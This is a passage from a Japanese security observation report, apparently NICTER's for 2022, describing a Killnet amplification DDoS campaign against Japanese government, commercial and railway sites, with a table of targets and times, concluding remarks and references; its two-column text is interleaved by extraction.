と連携してその対応に追われる場面に何度となく遭遇し4.2.2 Killnet による DRDoS 攻撃事例

ました．既に攻撃者によって脆弱性が悪用されている，と親ロシアのハクティビストとして活動する集団 Killnet

いう緊急性の高いコンテクスト情報を伴って公表されるが，日本国内の Web サイトへの DDoS 攻撃の犯行声明をケースもあり，そのような場合には，NICTER におけるTelegram 上に投稿し，実際に複数の Web サイトが一時攻撃の観測状況を関連する他のセキュリティ機関等と情的に閲覧できなくなる等の障害が発生しました [16] ．我報共有を行い，脅威の実態把握に努めてきました．

々の AmpPot でも，本事象に関連すると推測される攻撃2019 年以降，組織を狙う攻撃における侵入の入口としが観測されました．

て SSL-VPN 製品の脆弱性が注目され，実際に VPN のAmpPot で観測された本事象の観測事例を表 6 に示

脆弱性を悪用されて組織が侵害される事案が発生していします．多くは DNS を悪用した攻撃でしたが，一部でますが，VPN に限らず，インターネットに公開されてサは SNMP の悪用も観測されました．攻撃時間は数分程度

イバー攻撃の標的となりうる IT 資産（アタックサーフェのものと１時間程度のものにわけられ，一部攻撃対象はス，攻撃対象領域）を適切に把握し，これを守ることの重CDN (Content Delivery Network) を利用していました

要性はますます高まっています．

が，CDN の IP アドレスではなく，そのオリジンを直接

2022 年の観測情況を振り返ってみても，ダークネット
11表6: Killnet による攻撃事例（2022 年 9 月）
攻撃対象

悪用されたサービス

攻撃時刻（JST）

政府系サイト 1

DNS

政府系サイト 2

DNS

政府系サイト 3

DNS

2022-09-06 13:49～13:51

政府系サイト 4

DNS

2022-09-06 13:50～13:51

2022-09-06 13:47～13:48
2022-09-06 16:32～17:32
2022-09-06 13:48～13:49
2022-09-06 16:31～17:31

クレジットカード会社

DNS

2022-09-06 17:15～18:15

通販会社 1

DNS

2022-09-06 20:40～20:49

通販会社１の別サイト

DNS2022-09-06 21:43～21:50

検索サイト

DNS

2022-09-06 20:55～21:24

無料通話アプリDNS

2022-09-06 21:52～21:54

無料通話アプリの API サーバ１

DNS

2022-09-06 21:54～22:00

無料通話アプリの API サーバ 2

DNS

2022-09-06 21:55～22:00

管理組合サイトDNS

2022-09-06 22:12～23:12

動画サイト

DNS SNMP

鉄道会社 1

SNMP

2022-09-07 19:17～19:20

鉄道会社 2

DNS

2022-09-07 21:07～22:08

観測パケットの全体の半数以上が調査スキャンを占める

2022-09-06 23:51～09-07 00:42
2022-09-07 01:54～01:55

把握に努めていきたいと思います．

という傾向は継続しています．身元のわからない攻撃者

�文責 本レポートの執筆担当は次のとおりです．1 章 久保，2

によるアタックサーフェスの把握は常態化しており，組章 遠藤，3 章 森，久保，遠藤，4 章 牧田，5 章 久保，全体統

織が自らの IT 資産を守るためには攻撃者に先んじてこれ括 久保，レビュー・校正 牧田．

を行う必要があることを示唆しています．また， 3.2 節
や 3.3 節で見たように，攻撃者は攻撃対象をピンポイン

参考文献

トで攻撃する傾向も見られており，従来のダークネット[1] サイバーセキュリティ研究室. NICTER 観測レポート 2018.
Technical report, 国立研究開発法人情報通信研究機構, 2019.

観測やハニーポットを使った観測だけでは攻撃の発生に気づけないという課題も生まれています．これについて[2] 遠藤由紀子，森好樹，島村隼平，久保正樹. ダークネット観測における大規模スキャナの判定指標の提案. In 情報通信システムセキ
ュリティ研究会（ICSS）. 電子情報通信学会, 2020.

は，組織を狙った攻撃だけでなく，IoT 等の機器を狙った攻撃やそのインシデント情報についても関係者が情報共[3] NICTER. NICTER 観測統計 - 2022 年 1 月～3 月. https://blog.nicter.jp/2022/04/nicter_statistics_2022_1q/.

有を迅速に行い，調査分析を迅速に行うことが重要にな[4] NICTER. NICTER 観測統計 - 2022 年 10 月～12 月. https://blog.nicter.jp/2023/01/nicter_statistics_2022_4q/.

ってきていると考えています．

DRDoS 攻撃については，前年に見られた攻撃件数の特[5] 日本国内の Mirai の特徴を持つパケットの送信元 IP アドレス
数急増について. https://blog.nicter.jp/2020/10/jp_mirai_
spike/.

異的な増加は落ち着きましたが，攻撃継続時間の長時間化や悪用されるサービスの多種化といった質的な変化がみ[6] PPPoE 環境におけるロジテック製ルータの IP アドレス変動事
象について. https://blog.nicter.jp/2022/04/logitec_router_
ip_churn/.

られています．外形的にその影響がわかりやすい DDoS
攻撃はハクティビスト等の示威行為に使われることが少[7] JVN. JVNDB-2022-002337 ユニモテクノロジー製デジタル

なくありません．引き続き関係機関との情報共有や実態

ビデオレコーダにおける重要な機能に対する認証の欠如の脆弱性. https://jvndb.jvn.jp/ja/contents/2022/JVNDB-2022-

002337.html.

12[8] JVN. JVNDB-2022-002768 ユニモテクノロジー製デジタルビ
デオレコーダにおける複数の脆弱性. https://jvndb.jvn.jp/ja/
contents/2022/JVNDB-2022-002768.html.
[9] An unexpected Redis sandbox escape affecting only Debian,Ubuntu, and other derivatives. https://www.ubercomp.
com/posts/2022-01-20_redis_on_debian_rce.
[10] Juniper Networks. Muhstik Gang targets Redis Servers.
https://blogs.juniper.net/en-us/security/muhstik-gangtargets-redis-servers.
[11] Censys. Databases. EXPOSED! (Redis). https://censys.io/
databases-exposed-redis/.
[12] Lukas Krämer, Johannes Krupp, Daisuke Makita, Tomomi
Nishizoe, Takashi Koide, Katsunari Yoshioka, and Christian
Rossow. Amppot: Monitoring and defending against amplification ddos attacks. In International Workshop on Recent
Advances in Intrusion Detection, pages 615–636. Springer,
2015.
[13] 横浜国立大学情報・物理セキュリティ研究拠点. AmpPot: Honeypot for Monitoring Amplification DDoS Attack. https://sec.ynu.codes/dos/.
[14] 西添友美，牧田大佑，吉岡克成，松本勉. プロトコル非準拠ハニー
ポットを用いた新種の DRDoS 攻撃の早期検知. In 情報通信シス
テムセキュリティ研究会（ICSS）. 電子情報通信学会, 2017.
[15] Piyokango. 2022 年 2 月に発生したウクライナへの DDoS 攻撃についてまとめてみた. https://piyolog.hatenadiary.jp/entry/
2022/02/16/233637.
[16] Piyokango. Killnet による国内サイトへの攻撃示唆についてまとめてみた. https://piyolog.hatenadiary.jp/entry/2022/09/
07/025039.
[17] Cloudflare. CVE-2022-26143: A Zero-Day vulnerability forlaunching UDP amplification DDoS attacks. https://blog.
cloudflare.com/cve-2022-26143-amplification-attack/.

13